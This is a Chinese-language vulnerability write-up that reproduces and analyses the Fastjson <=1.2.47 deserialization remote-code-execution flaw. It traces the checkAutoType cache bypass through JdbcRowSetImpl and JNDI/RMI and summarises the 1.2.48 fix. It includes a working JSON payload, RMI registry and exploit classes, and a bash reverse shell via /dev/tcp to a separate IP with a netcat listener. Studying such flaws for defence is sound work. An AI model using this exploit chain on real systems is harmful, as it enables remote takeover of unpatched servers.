fastjson反序列化过滤字段属性_Fastjson<=1.2.47反序列化漏洞复现及分析

24f6f122d265ddc0720cfe84d67e15d6.png

声明

以下仅个人见解,有错误望提出.提到的poc勿滥用,恶意使用造成危害与本人无关.

简介

fastjson是由阿里开发的一种json的解析器和生成器。在2019年6月26日,用户提出issue,存在远程代码执行的版本<=1.2.47.

fastjson下载地址:

fastjson​github.com

环境准备

  • jdk 1.6.0.65
  • fastjson 1.2.47

实验场景

POC

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}

复现采用jndi利用方式,建议先阅读us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE ,了解jndi注入。

RMIRegistry.java

package deserialize;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference; 
import java.rmi.registry.LocateRegistry; 
import java.rmi.registry.Registry;
public class RMIRegistry {     
public static void main(String[] args) throws Exception {         
      Registry registry = LocateRegistry.createRegistry(1099);         
      Reference reference = new Reference("Exploit", "Exploit","http://localhost/");//这里请求的localhost 80端口的Exploit对象         
      ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);         
      registry.bind("Exploit",referenceWrapper);     
   } 
}  

Exploit.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class Exploit implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        exec();
        return null;
    }

    private static void exec() {
        try {
            Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/192.168.66.131/9999<&1");//反弹shell
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        exec();
    }
}

POC.java

package deserialize;
import com.alibaba.fastjson.JSON;
public class POC {
    public static void main(String[] argv) {
        String payload = "{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}";
        JSON.parse(payload);
    }
}
  1. 使用javac编译Exploit.java,得到的Exploit.class,放入本地或其他服务器(由于rmi servicei 请求80端口,所以保证服务器绑定在80端口)的根目录。
  2. 运行 RMIRegistry.java。
  3. 攻击机(192.168.66.13) 运行netcat -lvvp 9999 监听9999端口,运行POC.java,如图3-1可以看到成功拿到shell。

9d0ecbe5a88c425709d562cb690b9be0.png
3-1

漏洞原理

Fastjson中负责处理parse的一般是DefaultJSONParser.parseObject。 fastjson中将带解析的数据用JSONLexer封装。对待解析的数据{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}从左向右解析。

701eb6d56b5dcc72cc4ef0a031f8efaf.png
4-1

图4-1中,当解析到@type时,进入checkAutoType,传入的参数typeName=java.lang.Class,跟进checkAutoType方法。

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (typeName == null) {
            return null;
        }
                //省略部分代码

        if (clazz == null) {
            clazz = TypeUtils.getClassFromMapping(typeName);//将typeName作为key从mappings(ConcurrentMap对象)中查找对象,这个相当于从cache取值,刚开始没有存入对象,取出值为null
        }

        if (clazz == null) {
            clazz = deserializers.findClass(typeName);// 将typeName作为key从deserializers(IdentityHashMap)中查找对象
        }

        if (clazz != null) {
            if (expectClass != null
                    && clazz != java.util.HashMap.class
                    && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }

            return clazz;
        }

        if (!autoTypeSupport) {//判断提取的对象hash值是否在denyHashCodes,也就是黑名单过滤
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                char c = className.charAt(i);
                hash ^= c;
                hash *= PRIME;

                if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    if (clazz == null) {
                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    }

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }

                    return clazz;
                }
            }
        }

        if (clazz == null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
        }

        //省略部分代码
        return clazz;
    }

TypeUtils.getClassFromMapping方法,第一次没有存入cache为null,跟进deserializers.findClass(typeName),可以看到该方法通过keyString(这里传入的是java.lang.class)匹配this.buckets的className,this.buckets存在java.lang.class,所以返回java.lang.class

public Class findClass(String keyString) {
        for(int i = 0; i < this.buckets.length; ++i) {
            IdentityHashMap.Entry bucket = this.buckets[i];
            if (bucket != null) {
                for(IdentityHashMap.Entry entry = bucket; entry != null; entry = entry.next) {
                    Object key = bucket.key;
                    if (key instanceof Class) {
                        Class clazz = (Class)key;
                        String className = clazz.getName();
                        if (className.equals(keyString)) {
                            return clazz;
                        }
                    }
                }
            }
        }

        return null;
    }

回到DefaultJSONParser.parseObject()方法,继续跟进,如图4-2,通过 config.getDeserializer 获得反序列化的路由类 MiscCodec。并调用该路用类的deserialze(this, clazz, fieldName)方法.

6bb1d81ee24b3caf1398b9a9c31eefec.png
4-2

跟进该方法中,如图4-3,主要调用parser.parse()方法提取到com.sun.rowset.JdbcRowSetImpl赋给objVal对象。

2e18d8e3835c837e40668d9d03e5a973.png
4-3

继续往下走,如图4-4,调用TypeUtils.loadClass

123a7ceaa82ab0e1cc2619bcccf7a5ee.png
4-4

跟进loadClass(String className, ClassLoader classLoader)方法,如图4-5loadClass调用该方法的重载方法,设置$cache$为true

575c2b7f65412b8e9247b6871aca35b6.png
4-5

跟进loadClass的重载方法,将com.sun.rowset.JdbcRowSetImpl存入上文在checkAutoType中提到mappings中(即缓存中)。

b961396e298bc71fd02a9af6f0027cd2.png
4-6

图4-6 至此第一部分解析完了,主要做的是将com.sun.rowset.JdbcRowSetImpl存入mappings中,接下来解析第二部分,让我们回到DefaultJSONParser.parseObject(),解析的第二个键值对如下:

"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

和第一个一样,不同的是,此时的typeName为com.sun.rowset.JdbcRowSetImpl

7620a7960e5e57b0401b3e76bab23533.png
4-7

跟进config.checkAutoType(String typeName, Class<?> expectClass, int features)方法,如图4-8,由于第一次解析中将com.sun.rowset.JdbcRowSetImpl存入mappings中。如图4-9,这次直接通过TypeUtils.getClassFromMapping(typeName);获取到com.sun.rowset.JdbcRowSetImpl对象。并返回该对象。(同样绕过checkAutoType中黑名单限制以及autoType开关的检查)

f7ce3bbed78ff83c701c2d01c4f583ae.png
4-8

29364bffaee2df15caa6dcf13cd42998.png
4-9

图4-9 和第一次一样,如图4-10调用deserializer.deserialze(this, clazz, fieldName),不同的是这次得到的反序列化路由类为FastjsonASMDeserializer

e96a826c162759e69821e3360ee15b23.png
4-10

图4-10 跟进deserialze(DefaultJSONParser parser, Type type,Object fieldName,Object object, int features, int[] setFlags),首先有一些asm操作,接着调用如deserialze方法,如图4-11

6231a80d933a00ab11c48c12285fea8e.png
4-11

setValue中通过method.invoke(object, value)反射执行com.sun.rowset.JdbcRowSetImpl.setAutoCommit方法 .

31c41de1281bf8acca91ad454fc32f58.png
4-12

跟进setAutoCommit中,如图-13调用this.connect()

8d7a5481597b995df94c307e1e8a9efb.png
4-13

this.connect()对成员变量dataSourceName进行lookup,成功利用jndi注入。

b4dd1a924b0aa2deac4f4dbf6ccfe010.png
4-14

调用链:

Exec:620,Runtime //命令执行
Lookup:417,InitalContext //jndi lookup函数通过rmi加载恶意类
setAutoCommit:4067,JdbcRowSetImpl //通过setAutoCommit触发lookup函数
setValue:96,FieldDeserializer //反射调用传入类的set函数
deserialze:600, JavaBeanDeserializer //通过循环调用传入类 set,get,is函数
parseObject:368,DefaultJSONParser //解析传入的json字符串

官方修复

官方在1.2.48版本更改以下代码进行修复,推荐升级到最新版本。

  • 黑名单修复,增加8409640769019589119(java.lang.Class) 1459860845934817624(java.net.InetAddress)两个类的黑名单。

7c1da85caa9216370ad214812e6c6684.png
  • MiscCodec.java文件对cache缓存设置成false

3752a9dbcfbe44ad6a528fddac9c6d60.png
  • ParserConfig.java文件对checkAutoType()进行了相关策略调整 .

ba0d27565057626d73714e2e2a2475d1.png

参考文章

Fastjson <=1.2.47 远程代码执行漏洞分析

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值